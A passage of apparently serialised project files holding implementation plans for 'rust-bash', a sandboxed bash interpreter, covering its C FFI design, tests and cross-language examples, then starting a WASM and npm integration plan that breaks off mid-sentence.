stdout_ptr;\n    int32_t stdout_len;\n    const char* stderr_ptr;\n    int32_t stderr_len;\n    int32_t exit_code;\n} CExecResult;\n```\n\nInternally, each string is heap-allocated as a `Box<[u8]>` (via `Box::into_raw`). The `rust_bash_result_free` function reclaims both the strings and the struct.\n\n### 6. Thread Safety\n\n`RustBash` requires `&mut self` for `exec()`. The FFI layer does NOT add synchronization — callers must ensure that a single `RustBash*` handle is not used concurrently from multiple threads. This is documented in the header file and all examples.\n\n### 7. Custom Commands via Function Pointers (deferred to M5.4)\n\nChapter 8 / M5.4 mentions custom command dispatch via C function pointers. This is explicitly out of scope for M5.2 — it will be addressed in M5.4 when the broader custom command callback pattern is finalized across all integration targets (C FFI, WASM, napi-rs).\n\n### 8. Panic Safety Across the FFI Boundary\n\nUnwinding a Rust panic across an `extern \"C\"` boundary is **undefined behavior**. Every FFI entry point must be wrapped in `std::panic::catch_unwind` to convert panics into a `set_last_error` + `NULL` return.\n\n```rust\n#[unsafe(no_mangle)]\npub extern \"C\" fn rust_bash_exec(sb: *mut RustBash, command: *const c_char) -> *mut CExecResult {\n    let result = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {\n        // actual implementation\n    }));\n    match result {\n        Ok(v) => v,\n        Err(_) => {\n            set_last_error(\"Internal panic in rust_bash_exec\".into());\n            std::ptr::null_mut()\n        }\n    }\n}\n```\n\nAll six `extern \"C\"` functions in Phase 2 must use this pattern. The `AssertUnwindSafe` wrapper is needed because `&mut RustBash` is not `UnwindSafe` — this is acceptable since a panic leaves the sandbox in an indeterminate state, and the caller should `rust_bash_free` it.\n\n### 9. Binary File Limitation\n\nThe JSON config represents file contents as JSON strings (`\"files\": {\"/path\": \"text content\"}`). This means binary files (images, protobuf, compiled artifacts) cannot be seeded via the JSON config. This is a known limitation of the JSON approach. A future enhancement could accept base64-encoded content with a prefix convention (e.g., `\"base64:AAEC...\"`), but this is out of scope for M5.2.\n\n### 10. Rust 2024 Edition: `#[unsafe(no_mangle)]`\n\nThis project uses Rust edition 2024, which requires the `#[unsafe(no_mangle)]` attribute form instead of the older `#[no_mangle]`. All FFI functions must use `#[unsafe(no_mangle)]`.\n\n## Dependencies\n\n### New runtime dependencies (feature-gated)\n\n| Crate | Version | Purpose | Feature |\n|-------|---------|---------|---------|\n| `serde` | latest stable, with `derive` feature | `#[derive(Deserialize)]` for JSON config | `ffi` |\n\n> `serde_json` is already a runtime dependency. `serde` (with `derive`) is needed to derive `Deserialize` on the FFI config structs. It is only pulled in when building with `--features ffi`.\n\n### New dev/build dependencies\n\n| Crate | Version | Purpose |\n|-------|---------|---------|\n| `cbindgen` | latest stable | C header generation (used as a CLI tool, not a build-dep) |\n\n## File Organization\n\n```\nsrc/\n├── ffi.rs              (new: FFI functions, CExecResult, FfiConfig, error handling)\n├── lib.rs              (updated: conditional ffi module)\ninclude/\n├── rust_bash.h         (new, generated: C header — version-controlled)\ncbindgen.toml           (new: header generation configuration)\nCargo.toml              (updated: features, serde dep, crate-type)\nexamples/\n├── shell.rs            (existing, unchanged)\n├── ffi/\n│   ├── python/\n│   │   ├── rust_bash_example.py  (new: complete ctypes example)\n│   │   └── README.md             (new: build & run instructions)\n│   └── go/\n│       ├── main.go               (new: complete cgo example)\n│       ├── go.mod                (new: Go module definition)\n│       └── README.md             (new: build & run instructions)\ntests/\n├── ffi.rs              (new: FFI integration tests)\ndocs/\n├── recipes/\n│   └── ffi-usage.md    (new: FFI usage recipe)\n```\n\n---\n\n## Phase 1 — Crate Configuration & JSON Config Deserialization ✅\n\n> Set up the build infrastructure, define the JSON config schema, and implement deserialization + builder mapping.\n\n### 1a. Update `Cargo.toml`\n\n- Add `[lib]` section with `crate-type = [\"lib\", \"cdylib\"]`\n- Add `[features]` section with `ffi = [\"dep:serde\"]` (merge with any existing features from M5.1)\n- Add `serde = { version = \"...\", features = [\"derive\"], optional = true }` to `[dependencies]`\n- Verify `serde_json = \"1\"` is already present (it is)\n\n### 1b. Create `src/ffi.rs` with config structs\n\nDefine the JSON configuration structs matching the Chapter 8 schema:\n\n```rust\nuse serde::Deserialize;\nuse std::collections::HashMap;\n\n#[derive(Deserialize, Default)]\npub(crate) struct FfiConfig {\n    #[serde(default)]\n    pub files: HashMap<String, String>,\n    #[serde(default)]\n    pub env: HashMap<String, String>,\n    pub cwd: Option<String>,\n    pub limits: Option<FfiLimits>,\n    pub network: Option<FfiNetwork>,\n}\n\n#[derive(Deserialize, Default)]\npub(crate) struct FfiLimits {\n    pub max_command_count: Option<usize>,\n    pub max_execution_time_secs: Option<u64>,\n    pub max_loop_iterations: Option<usize>,\n    pub max_output_size: Option<usize>,\n    pub max_call_depth: Option<usize>,\n    pub max_string_length: Option<usize>,\n    pub max_glob_results: Option<usize>,\n    pub max_substitution_depth: Option<usize>,\n    pub max_heredoc_size: Option<usize>,\n    pub max_brace_expansion: Option<usize>,\n}\n\n#[derive(Deserialize, Default)]\npub(crate) struct FfiNetwork {\n    pub enabled: Option<bool>,\n    pub allowed_url_prefixes: Option<Vec<String>>,\n    pub allowed_methods: Option<Vec<String>>,\n    pub max_response_size: Option<usize>,\n    pub max_redirects: Option<usize>,\n    pub timeout_secs: Option<u64>,\n}\n```\n\n### 1c. Implement config → builder mapping\n\nWrite a function that converts `FfiConfig` into a configured `RustBash` instance via `RustBashBuilder`:\n\n- Convert `files: HashMap<String, String>` → `HashMap<String, Vec<u8>>` (`.into_bytes()`)\n- Map each `FfiLimits` field onto `ExecutionLimits` (use `..Default::default()` for unset fields). Note: `max_execution_time_secs: u64` must be converted to `Duration::from_secs(n)` for `ExecutionLimits.max_execution_time: Duration`.\n- Map `FfiNetwork` onto `NetworkPolicy`. Note: `allowed_methods: Vec<String>` must be converted to `HashSet<String>`, and `timeout_secs: u64` to `Duration::from_secs(n)`.\n- Apply `cwd` if present\n- Call `builder.build()`\n\n### 1d. Add module to `src/lib.rs`\n\n```rust\n#[cfg(feature = \"ffi\")]\npub mod ffi;\n```\n\n### 1e. Unit tests for config deserialization\n\n- Empty JSON `{}` → default config (no files, no env, no limits)\n- Full config with all fields populated → correct values\n- Partial config (e.g., only `files`) → other fields default\n- Config with unknown extra fields → ignored (serde default behavior)\n- Limits with only some fields set → others default\n- Network config → correctly maps to `NetworkPolicy`\n\n### 1f. Documentation\n\n- Add module-level doc comment to `src/ffi.rs` explaining the FFI surface\n- Document the JSON config schema in the doc comment with an example\n\n**Exit criteria**: `cargo build --features ffi` succeeds. `cargo test --features ffi` passes with config deserialization tests. `cargo build` (without `ffi`) still works normally.\n\n---\n\n## Phase 2 — Core FFI Functions ✅\n\n> Implement all public `extern \"C\"` functions: create, exec, free, result_free, last_error, version. Every function must be wrapped in `std::panic::catch_unwind` (see Key Design Decision §8) and annotated with `#[unsafe(no_mangle)]` (Rust 2024 edition, see §10).\n\n### 2a. Implement thread-local error storage\n\n```rust\nthread_local! {\n    static LAST_ERROR: RefCell<Option<CString>> = RefCell::new(None);\n}\n```\n\nTwo internal helpers:\n- `set_last_error(msg: String)` — stores a `CString` in the thread-local\n- `clear_last_error()` — clears the thread-local (called at the start of each FFI function)\n\nPublic function:\n- `rust_bash_last_error() -> *const c_char` — returns the stored error string pointer, or `NULL` if no error\n\n### 2b. Define `CExecResult` struct\n\n```rust\n#[repr(C)]\npub struct CExecResult {\n    pub stdout_ptr: *const c_char,\n    pub stdout_len: i32,\n    pub stderr_ptr: *const c_char,\n    pub stderr_len: i32,\n    pub exit_code: i32,\n}\n```\n\n### 2c. Implement `rust_bash_create`\n\n```c\n// C signature:\nRustBash* rust_bash_create(const char* config_json);\n```\n\nBehavior:\n1. Clear last error\n2. If `config_json` is `NULL`, use default config\n3. Validate UTF-8, parse JSON into `FfiConfig`\n4. Build `RustBash` via `build_from_config()`\n5. On success: return `Box::into_raw(Box::new(shell))`\n6. On error: set last error, return `NULL`\n\n### 2d. Implement `rust_bash_exec`\n\n```c\n// C signature:\nCExecResult* rust_bash_exec(RustBash* sb, const char* command);\n```\n\nBehavior:\n1. Clear last error\n2. Null-check `sb` and `command`; set error and return `NULL` if null\n3. Validate `command` as UTF-8\n4. Call `shell.exec(cmd_str)`\n5. On success: allocate `CExecResult` with stdout/stderr as heap `Box<[u8]>` via `Box::into_raw`\n6. On `RustBashError`: set last error, return `NULL`\n\nString allocation detail: convert `String` → `Vec<u8>` → `Box<[u8]>` → `Box::into_raw()` to get the pointer. Store the `len` alongside. This avoids null-termination issues and correctly handles any byte content.\n\n**Important — fat→thin pointer conversion:** `Box::into_raw(Box<[u8]>)` returns `*mut [u8]` (a fat pointer with embedded length), but `CExecResult` stores `*const c_char` (a thin pointer). The correct conversion sequence is:\n\n```rust\nlet bytes: Vec<u8> = result.stdout.into_bytes();\nlet len = bytes.len() as i32;\nlet boxed: Box<[u8]> = bytes.into_boxed_slice();\nlet fat_ptr: *mut [u8] = Box::into_raw(boxed);\nlet thin_ptr: *const c_char = fat_ptr as *mut u8 as *const c_char;\n```\n\nAnd in `rust_bash_result_free`, reconstruct the fat pointer for deallocation:\n```rust\nlet fat_ptr = std::ptr::slice_from_raw_parts_mut(ptr as *mut u8, len as usize);\ndrop(unsafe { Box::from_raw(fat_ptr) });\n```\n\nThis is safe because `into_boxed_slice()` guarantees `len == capacity`.\n\n### 2e. Implement `rust_bash_result_free`\n\n```c\n// C signature:\nvoid rust_bash_result_free(CExecResult* result);\n```\n\nBehavior:\n1. If `result` is `NULL`, no-op\n2. Reclaim stdout bytes: reconstruct `Box<[u8]>` from `(stdout_ptr, stdout_len)` and drop\n3. Reclaim stderr bytes: same\n4. Drop the `Box<CExecResult>`\n\n### 2f. Implement `rust_bash_free`\n\n```c\n// C signature:\nvoid rust_bash_free(RustBash* sb);\n```\n\nBehavior:\n1. If `sb` is `NULL`, no-op\n2. Reconstruct `Box<RustBash>` from raw pointer and drop\n\n### 2g. Implement `rust_bash_version`\n\n```c\n// C signature:\nconst char* rust_bash_version(void);\n```\n\nReturns a pointer to a static null-terminated version string (`env!(\"CARGO_PKG_VERSION\")`). Valid for the lifetime of the library. Useful for runtime version checks and debugging.\n\n### 2h. Integration tests\n\nCreate `tests/ffi.rs` with tests that call the FFI functions directly from Rust (using `unsafe`). The file must start with `#![cfg(feature = \"ffi\")]` so tests are skipped when the feature is off:\n\n**Happy path:**\n- Create with `NULL` config → exec \"echo hello\" → stdout = \"hello\\n\", exit_code = 0 → free\n- Create with JSON files → exec \"cat /file\" → correct content\n- Create with JSON env → exec \"echo $VAR\" → correct value\n- Create with JSON cwd → exec \"pwd\" → correct path\n- State persistence: exec \"X=42\" → exec \"echo $X\" → \"42\\n\"\n- Multiple exec calls with varying commands\n\n**Error handling:**\n- Exec with `NULL` sandbox pointer → returns `NULL`, last_error = \"Null sandbox pointer\"\n- Exec with `NULL` command pointer → returns `NULL`, last_error set\n- Create with invalid JSON → returns `NULL`, last_error contains parse error\n- Create with valid JSON but invalid config → returns `NULL`, last_error set\n- Last_error is `NULL` after a successful call (cleared)\n\n**Edge cases:**\n- `rust_bash_free(NULL)` → no-op (no crash)\n- `rust_bash_result_free(NULL)` → no-op (no crash)\n- Create with empty JSON `{}` → valid default sandbox\n- Exec with empty command `\"\"` → valid result, exit_code = 0\n- Version returns non-null string\n\n**Limits & network:**\n- Create with `max_command_count: 1` → exec `\"echo a; echo b\"` (two sub-commands in one exec) → returns `NULL`, last_error contains \"LimitExceeded\". Note: execution counters reset at the start of each `exec()` call, so limits are per-exec, not cumulative across calls.\n- Create with `max_execution_time_secs: 1` → exec a long-running command → returns `NULL`, last_error contains timeout info\n- Create with network policy → curl respects URL allow-list\n\n**Empty string / edge cases:**\n- Exec a command that produces no output (e.g., `\"true\"`) → `stdout_len == 0`, verify `result_free` handles len==0 correctly without crashing\n- Exec a command that produces only stderr → `stdout_len == 0`, `stderr_len > 0`\n- Unicode output: exec `\"echo '日本語'\"` → verify stdout bytes are correct UTF-8\n\n### 2i. Documentation\n\n- Add doc comments with `# Safety` sections to all `pub extern \"C\"` functions\n- Document memory ownership rules in module-level docs\n- Document thread safety constraints: \"A `RustBash*` handle must not be shared across threads without external synchronization\"\n\n**Exit criteria**: All 6 FFI functions work correctly. `cargo test --features ffi` passes all integration tests. `cargo build --features ffi --release` produces a shared library with correct exported symbols.\n\n---\n\n## Phase 3 — C Header Generation ✅\n\n> Generate `include/rust_bash.h` using cbindgen and verify it's valid C.\n\n### 3a. Install cbindgen\n\n```bash\ncargo install cbindgen\n```\n\ncbindgen is used as a CLI tool (not a build dependency) to keep the build simple. The generated header is version-controlled so downstream consumers don't need cbindgen.\n\n### 3b. Create `cbindgen.toml`\n\n```toml\nlanguage = \"C\"\ninclude_guard = \"RUST_BASH_H\"\ntab_width = 4\ndocumentation_style = \"c99\"\nstyle = \"both\"\ncpp_compat = true\n\nheader = \"/* Auto-generated by cbindgen. Do not edit manually. */\"\n\n[export]\ninclude = [\"CExecResult\"]\n\n[export.rename]\n\"RustBash\" = \"RustBash\"\n\"CExecResult\" = \"ExecResult\"\n```\n\nThe rename of `CExecResult` → `ExecResult` in the generated header aligns with the Chapter 8 spec (which uses `ExecResult`), while Rust code uses `CExecResult` to avoid collision with the existing `ExecResult` type.\n\n### 3c. Generate header\n\n```bash\ncbindgen --config cbindgen.toml --crate rust-bash --output include/rust_bash.h --features ffi\n```\n\nThe generated header should contain:\n- `typedef struct RustBash RustBash;` (opaque type)\n- `typedef struct CExecResult { ... } CExecResult;`\n- Function declarations for all 6 FFI functions\n- Include guard `#ifndef RUST_BASH_H`\n\n### 3d. Verify header compiles\n\n```bash\nmkdir -p include\ncc -fsyntax-only include/rust_bash.h    # GCC/Clang syntax check\n```\n\n### 3e. Add header regeneration note\n\nAdd a comment at the top of the generated header:\n\n```c\n/* Auto-generated by cbindgen. Do not edit manually.\n * Regenerate with: cbindgen --config cbindgen.toml --crate rust-bash --output include/rust_bash.h --features ffi\n */\n```\n\n### 3f. Documentation\n\n- Document the header generation command in `README.md` (FFI section)\n- Mention cbindgen version used\n\n**Exit criteria**: `include/rust_bash.h` exists, is valid C, and declares all FFI functions and types. Header is version-controlled.\n\n---\n\n## Phase 4 — Comprehensive Testing & Verification ✅\n\n> Verify the shared library works end-to-end: symbols, ABI, and edge cases.\n\n### 4a. Build verification\n\n```bash\n# Build shared library\ncargo build --features ffi --release\n\n# Verify output exists\nls target/release/librust_bash.so      # Linux\nls target/release/librust_bash.dylib   # macOS\n\n# Verify exported symbols\nnm -D target/release/librust_bash.so | grep rust_bash_\n# Expected: rust_bash_create, rust_bash_exec, rust_bash_free,\n#           rust_bash_result_free, rust_bash_last_error, rust_bash_version\n```\n\n### 4b. Expand edge case tests\n\nBeyond Phase 2 tests, add:\n- Large output (>1MB) → `stdout_len` is correct, no truncation\n- Command that writes to stderr → `stderr_ptr`/`stderr_len` correct\n- Non-zero exit code → `exit_code` reflects it\n- Sequential create → free cycles (10+) → no memory growth\n- Config with all limits fields set → all enforced\n- Config with network policy → curl URL validation works\n\n### 4c. Run full test suite\n\n```bash\ncargo fmt --check\ncargo clippy --features ffi -- -D warnings\ncargo test --features ffi          # FFI + all existing tests\ncargo test                         # ensure non-FFI tests still pass\ncargo clippy -- -D warnings        # ensure non-FFI clippy still passes\n```\n\n### 4d. Documentation\n\n- If testing reveals any gotchas, note them in the `# Safety` docs\n\n**Exit criteria**: All tests pass. Clippy clean (with and without `ffi` feature). Shared library exports the correct 6 symbols. No regressions in existing tests.\n\n---\n\n## Phase 5 — Documentation Updates\n\n> Update README, guidebook, and implementation plan to reflect M5.2 completion.\n\n### 5a. Update `README.md`\n\n- Update status line at the top: mention C FFI as available\n- Add a \"C FFI\" section after \"Custom commands\" with:\n  - Build instructions: `cargo build --features ffi --release`\n  - Location of shared library and header\n  - Minimal C usage example (create → exec → print → free)\n  - Link to Python and Go examples in `examples/ffi/`\n- Update \"Roadmap\" section: mark C FFI as complete\n\n### 5b. Update `docs/guidebook/08-integration-targets.md`\n\n- Remove **(planned)** from the \"C FFI\" section header\n- Ensure the C API, JSON config schema, and memory ownership sections match the implementation exactly\n- Update the Python example to use the actual working API\n- Add a Go example\n- Add notes on thread safety and error handling\n\n### 5c. Update `docs/guidebook/10-implementation-plan.md`\n\n- Mark M5.2 with ✅: `### M5.2 — C FFI ✅`\n\n**Exit criteria**: README.md, guidebook Ch. 8, and Ch. 10 are all updated and accurate.\n\n---\n\n## Phase 6 — Recipe & Cross-Language Examples ✅\n\n> Create the FFI recipe and working Python/Go examples with build-and-run instructions.\n\n### 6a. Create `docs/recipes/ffi-usage.md`\n\nA self-contained, task-focused recipe covering:\n1. **Building the shared library** — `cargo build --features ffi --release`\n2. **The C API at a glance** — table of all 6 functions with one-line descriptions\n3. **JSON configuration reference** — full schema with all fields and defaults\n4. **Memory management rules** — who owns what, when to free\n5. **Error handling pattern** — check for NULL, call `rust_bash_last_error()`\n6. **Using from Python** — complete ctypes example with explanation\n7. **Using from Go** — complete cgo example with explanation\n8. **Common pitfalls** — forgetting to free, thread safety, UTF-8 requirements\n9. **Known limitations** — binary files not supported via JSON config (text strings only); no custom command callbacks (deferred to M5.4)\n\n### 6b. Update `docs/recipes/README.md`\n\nMove \"C FFI from Python\" from the \"Planned Recipes\" list to the main recipe table, with broader scope:\n\n```markdown\n| [FFI Usage](ffi-usage.md) | Embed rust-bash in Python, Go, or any C-compatible language via the shared library |\n```\n\n### 6c. Create Python example\n\n**`examples/ffi/python/rust_bash_example.py`**:\n- Complete working example using `ctypes`\n- Properly defines `CExecResult` structure and all function signatures\n- Demonstrates: create sandbox with JSON config, execute multiple commands, read stdout/stderr, handle errors, free resources\n- Uses a context manager or try/finally for cleanup\n- Well-commented for educational clarity\n\n**`examples/ffi/python/README.md`**:\n- Prerequisites: Python 3.x, Rust toolchain\n- Build steps:\n  ```bash\n  # From repository root\n  cargo build --features ffi --release\n  ```\n- Run steps:\n  ```bash\n  cd examples/ffi/python\n  LD_LIBRARY_PATH=../../../target/release python3 rust_bash_example.py\n  # macOS: DYLD_LIBRARY_PATH=../../../target/release python3 rust_bash_example.py\n  ```\n- Expected output\n- Troubleshooting: library not found, symbol errors, platform differences\n\n### 6d. Create Go example\n\n**`examples/ffi/go/main.go`**:\n- Complete working example using cgo\n- `#cgo LDFLAGS` and `#cgo CFLAGS` directives pointing to `target/release` and `include/`\n- Demonstrates: create, exec, read output, error handling with `rust_bash_last_error`, free\n- Go-idiomatic error handling (wrapper functions that return `(result, error)`)\n- Well-commented\n\n**`examples/ffi/go/go.mod`**:\n- Module name: `github.com/user/rust-bash/examples/ffi/go` (or similar)\n- Go version: 1.21+\n\n**`examples/ffi/go/README.md`**:\n- Prerequisites: Go 1.21+, Rust toolchain, C compiler (gcc/clang)\n- Build steps:\n  ```bash\n  # From repository root\n  cargo build --features ffi --release\n  ```\n- Run steps:\n  ```bash\n  cd examples/ffi/go\n  go run main.go\n  ```\n  The `#cgo` directives in `main.go` handle library/header paths via `${SRCDIR}` relative references.\n- Expected output\n- Troubleshooting: cgo not enabled, linker errors, library path issues\n\n### 6e. Verify all examples end-to-end\n\n1. Build the shared library from scratch\n2. Run the Python example — verify output matches README\n3. Run the Go example — verify output matches README\n4. Test on the target platform (Linux; note macOS differences in READMEs)\n\n**Exit criteria**: `docs/recipes/ffi-usage.md` exists with comprehensive FFI guide. `docs/recipes/README.md` updated. Python and Go examples run successfully end-to-end. All READMEs have accurate build/run instructions.\n\n---\n\n## Risk Register\n\n| Risk | Likelihood | Impact | Mitigation |\n|------|-----------|--------|------------|\n| Panic unwinding across FFI boundary → UB | Medium | Critical | Wrap every `extern \"C\"` fn in `catch_unwind`; convert panics to `set_last_error` + NULL return |\n| `cdylib` build overhead for library users | Medium | Low | Feature-gated; cdylib with no FFI symbols is minimal overhead. If `cargo test` cycle time increases by >5s, extract into `rust-bash-ffi/` workspace crate |\n| cbindgen doesn't handle all Rust types | Low | Medium | Keep FFI surface simple (opaque pointers, `#[repr(C)]` struct, scalar types); manual header tweaks if needed |\n| Cross-platform shared library differences | Medium | Medium | Test on Linux; document macOS/Windows differences in examples |\n| Memory safety bugs at FFI boundary | Medium | High | Null checks on all inputs; `# Safety` docs; integration tests for all error paths |\n| Output strings containing null bytes | Low | Low | Using pointer+length (not null-terminated) handles this correctly |\n| Binary file content not supported via JSON | Medium | Low | Document limitation; note base64 extension as future option |\n| Empty string (len==0) edge case in deallocation | Low | Medium | Test explicitly; ensure `result_free` handles zero-length `Box<[u8]>` correctly |\n| Conflict with M5.1 Cargo.toml changes | Medium | Low | Plan accounts for both M5.1-already-implemented and M5.1-not-yet states |\n| Go cgo portability | Low | Medium | Use `${SRCDIR}` relative paths; document platform-specific linker flags |\n| `serde` dependency size | Low | Low | Only pulled in with `ffi` feature; `serde_json` already in dependency tree |\n","/home/user/docs/plans/M5.34.md":"# Milestones 5.3 & 5.4 — WASM Target, npm Package, AI SDK Integration & Showcase Website\n\n## Problem Statement\n\nrust-bash has a production-quality interpreter (M1–M4) with a CLI binary (M5.1) and C FFI (M5.2), but no JavaScript/TypeScript integration. To compete with [just-bash](https://github.com/vercel-labs/just-bash) — the TypeScript bash interpreter that inspired this project — we need:\n\n1. **WASM compilation** so rust-bash runs in browsers and edge runtimes\n2. **An npm package** with a TypeScript API at least as ergonomic as just-bash's `Bash` class\n3. **Native Node.js addon** via napi-rs for maximum server-side performance\n4. **Custom command callbacks** from TypeScript (equivalent to just-bash's `defineCommand`)\n5. **AI SDK integration** — framework-agnostic tool definitions for OpenAI / Anthropic / any LLM, plus MCP server mode\n6. **A showcase website** (like [justbash.dev](https://justbash.dev)) with a live interactive terminal\n\n### Design Decision: napi-rs v3 Unified Build\n\nAfter evaluating the options from the guidebook's design exploration notes:\n\n- **Chosen approach**: Separate `wasm-bindgen` (WASM) + `napi-rs` (native Node.js addon) builds, unified under a single `rust-bash` npm package that auto-detects the environment.\n- **Rationale**: napi-rs v3's WASM support is still maturing and may constrain the API surface. Separate binding layers give full control over each target while the TypeScript wrapper provides a unified developer experience.\n- **Package structure**: Single `rust-bash` package with conditional exports — native addon for Node.js, WASM for browsers/edge. No need for users to choose between packages.\n\n### Competitive Positioning vs just-bash\n\n| Feature | just-bash | rust-bash (target) |\n|---|---|---|\n| Language | Pure TypeScript | Rust → WASM + native addon |\n| Performance | JS-speed | Near-native (native addon) / WASM-fast (browser) |\n| Bundle size | ~2MB+ (JS) | ~1–1.5MB gzipped (WASM, needs validation) |\n| API | `new Bash(opts)` + `exec()` | `new Bash(opts)` + `exec()` (same API shape) |\n| Custom commands | `defineCommand(name, fn)` | `defineCommand(name, fn)` (same pattern) |\n| AI tool integration | Vercel AI SDK only (`bash-tool`) | Framework-agnostic: JSON Schema + handler; MCP server; recipe adapters |\n| MCP server | ❌ | ✅ (`rust-bash --mcp`) |\n| Python integration | ❌ | ✅ (C FFI / future PyPI package) |\n| Browser | ✅ | ✅ (WASM) |\n| Node.js native | ❌ (JS only) | ✅ (napi-rs addon) |\n\n---\n\n## Phase 1: WASM Compilation Foundation ✅\n\n**Goal**: Get rust-bash compiling to `wasm32-unknown-unknown` and callable from JavaScript.\n\n### 1.1 — WASM Feature Gates and Platform Abstraction\n\nAdd conditional compilation for WASM-incompatible code. This is the most critical step — several stdlib types don't work on `wasm32-unknown-unknown` and their usage is pervasive.\n\n#### Time abstraction (`web-time` migration) — **high effort**\n\n`SystemTime` and `Instant` are used throughout the codebase and **panic on `wasm32-unknown-unknown`**. The `web-time` crate provides drop-in replacements that use `js_sys::Date` on WASM and delegate to `std::time` on native.\n\nCreate `src/platform.rs` with re-exports:\n```rust\n#[cfg(target_arch = \"wasm32\")]\npub use web_time::{SystemTime, Instant, UNIX_EPOCH};\n#[cfg(not(target_arch = \"wasm32\"))]\npub use std::time::{SystemTime, Instant, UNIX_EPOCH};\n```\n\nThen replace all `std::time::{SystemTime, Instant}` imports with `crate::platform::*`. Known locations (**30+ call sites**):\n- **VFS layer**: `SystemTime` stored in `Metadata`, `FsNode::File`, `FsNode::Directory`, `FsNode::Symlink`, and the `VirtualFs::utimes()` trait signature — across `memory.rs`, `overlay.rs`, `mountable.rs`, `readwrite.rs`, and the trait definition in `mod.rs`\n- **Interpreter**: `Instant::now()` in `ExecutionCounters::default()` — called on every `exec()` invocation (hot path)\n- **Commands**: `awk` `srand()` in `src/commands/awk/runtime.rs` uses `SystemTime::now()` directly\n- **date command**: `chrono::Local::now()` in `src/commands/utils.rs` — needs `chrono = { features = [\"wasmbind\"] }` for WASM\n\n#### `std::thread::sleep` — incompatible with WASM\n\n`src/commands/utils.rs` calls `std::thread::sleep(duration)` which will **panic or hang** on WASM. Feature-gate the `sleep` command:\n- On native: works as-is\n- On WASM: return an error `\"sleep: not supported in browser environment\"` (matches just-bash which also doesn't support real sleep in browser)\n\n#### `chrono` WASM compatibility\n\nAdd `wasmbind` feature for WASM builds so `chrono::Local::now()` works. Without this, it falls back to UTC with no timezone info.\n\n#### Networking\n\n- **`ureq` / `url`**: Feature-gate behind `network` cargo feature. Currently these are unconditional deps — extract them as optional. **Keep `network` in the default feature set** to avoid breaking existing native builds.\n- The `curl` command returns \"command not found\" when network feature is unavailable (matches just-bash behavior).\n\n#### Filesystem backends\n\n- **OverlayFs / ReadWriteFs**: Feature-gate behind `native-fs` feature (these use `std::fs`). WASM builds only get `InMemoryFs` and `MountableFs`.\n- Conditional `pub use` in `lib.rs` and `#[cfg]` on module declarations.\n- Note: `MountableFs` may reference `OverlayFs`/`ReadWriteFs` in some code paths — trace the dependency graph and use `#[cfg]` appropriately.\n\n#### Other items\n\n- **`rustyline` / `clap`**: Already feature-gated behind `cli` — no action needed.\n- **Thread-local storage in FFI**: Not needed for WASM — feature-gate the `ffi` module.\n- **`parking_lot`**: Compiles to WASM (falls back to spin-locks since WASM is single-threaded). Smoke-test for re-entrancy issues (e.g., custom command that calls `exec()` while holding a lock).\n- **`serde_json`**: Already an unconditional dependency (used by jq) — compiles to WASM fine, just adds to bundle size.\n\nCargo.toml changes:\n```toml\n[features]\ndefault = [\"cli\", \"network\"]\ncli = [\"dep:clap\", \"dep:rustyline\"]\nffi = [\"dep:serde\"]\nwasm = [\"dep:wasm-bindgen\", \"dep:js-sys\", \"dep:web-time\", \"dep:serde\", \"dep:serde-wasm-bindgen\"]\nnetwork = [\"dep:ureq\", \"dep:url\"]\nnative-fs = []  # OverlayFs, ReadWriteFs — on by default for native\n\n[target.'cfg(not(target_arch = \"wasm32\"))'.dependencies]\nureq = { version = \"3.0\", optional = true }\nurl = { version = \"2.5.8\", optional = true }\n\n[target.'cfg(target_arch = \"wasm32\")'.dependencies]\nwasm-bindgen = { version = \"0.2\", optional = true }\njs-sys = { version = \"0.3\", optional = true }\nweb-time = { version = \"1.1\", optional = true }\nserde-wasm-bindgen = { version = \"0.6\", optional = true }\nchrono = { version = \"0.4\", features = [\"wasmbind\"] }\n```\n\n**Critical first step**: Do a smoke build (`cargo build --target wasm32-unknown-unknown --features wasm --no-default-features`) **before writing any wasm-bindgen code** to flush out all compilation failures. Track actual binary size from this first build.\n\n**Tests**: The smoke build compiles cleanly. All existing `cargo test` (native) still pass after the refactor.\n\n**Docs**: Update `docs/guidebook/08-integration-targets.md` WASM section with actual build instructions.\n\n### 1.2 — wasm-bindgen Bindings\n\nCreate `src/wasm.rs` (feature-gated behind `wasm`):\n\n```rust\n#[wasm_bindgen]\npub struct WasmBash { inner: RustBash }\n\n#[wasm_bindgen]\nimpl WasmBash {\n    #[wasm_bindgen(constructor)]\n    pub fn new(config: JsValue) -> Result<WasmBash, JsError>;\n    \n    pub fn exec(&mut self, command: &str) -> Result<JsValue, JsError>;\n    pub fn exec_with_options(&mut self, command: &str, options: JsValue) -> Result<JsValue, JsError>;\n    \n    // Filesystem access\n    pub fn write_file(&mut self, path: &str, content: &str) -> Result<(), JsError>;\n    pub fn read_file(&self, path: &str) -> Result<String, JsError>;\n    pub fn mkdir(&mut self, path: &str, recursive: bool) -> Result<(), JsError>;\n    \n    // State\n    pub fn cwd(&self) -> String;\n    pub fn last_exit_code(&self) -> i32;\n    pub fn command_names(&self) -> Vec<String>;\n    \n    // Custom command registration (via JS callback)\n    pub fn register_command(&mut self, name: &str, callback: js_sys::Function) -> Result<(), JsError>;\n}\n```\n\nThe `config` JsValue accepts the same JSON shape as the C FFI config, plus:\n- `files`: `Record<string, string>` — seed VFS\n- `env`: `Record<string, string>` — environment variables\n- `cwd`: `string` — working directory\n- `executionLimits`: `Partial<ExecutionLimits>` — limits config\n\n`exec_with_options` accepts:\n- `env`: per-exec environment overrides\n- `cwd`: per-exec working directory\n- `stdin`: standard input string\n\n> **Note on `AbortSignal` cancellation**: The current interpreter has no cooperative cancellation mechanism — the closest is `max_execution_time` checked via `Instant::elapsed()`. True `AbortSignal` support requires adding `Arc<AtomicBool>` to `InterpreterState` and checking it at command dispatch points (see M9.1 — Cooperative Cancellation). **Deferred to a future phase** — the execution time limit already provides safety for runaway scripts.\n\n**Tests**: Integration tests using `wasm-pack test --headless --chrome`.\n\n**Docs**: Add `docs/recipes/wasm-usage.md`.\n\n### 1.3 — Custom Command Callbacks (WASM → JS bridge)\n\nImplement `JsBridgeCommand` — a Rust struct that implements `VirtualCommand` but delegates execution to a JavaScript callback:\n\n```rust\nstruct JsBridgeCommand {\n    name: String,\n    callback: js_sys::Function,\n}\n\nimpl VirtualCommand for JsBridgeCommand {\n    fn name(&self) -> &str { &self.name }\n    fn execute(&self, args: &[String], ctx: &mut CommandContext) -> Result<ExecOutput, CommandError> {\n        // Serialize args + context to JsValue\n        // Call callback.call1(&JsValue::NULL, &js_args)\n        // Deserialize result { stdout, stderr, exitCode }\n    }\n}\n```\n\n> **⚠️ Sync/async constraint**: The Rust 